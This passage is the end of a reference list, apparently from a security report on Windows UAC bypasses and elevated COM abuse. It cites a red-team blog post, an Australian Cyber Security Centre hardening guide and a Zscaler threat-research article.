https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses [44] Hardening Microsoft Windows 10/11 Workstations (UAC policy recommendations) — Australian Cyber Security Centre (2025) — https://www.cyber.gov.au/sites/default/files/2025-09/hardening_microsoft_windows_10_workstations_september_2025.pdf [45] In-Memory Loader Drops ScreenConnect (elevated COM abuse) — Zscaler ThreatLabz — https://www.zscaler.com/blogs/security-research/memory-loader-drops-screenconnect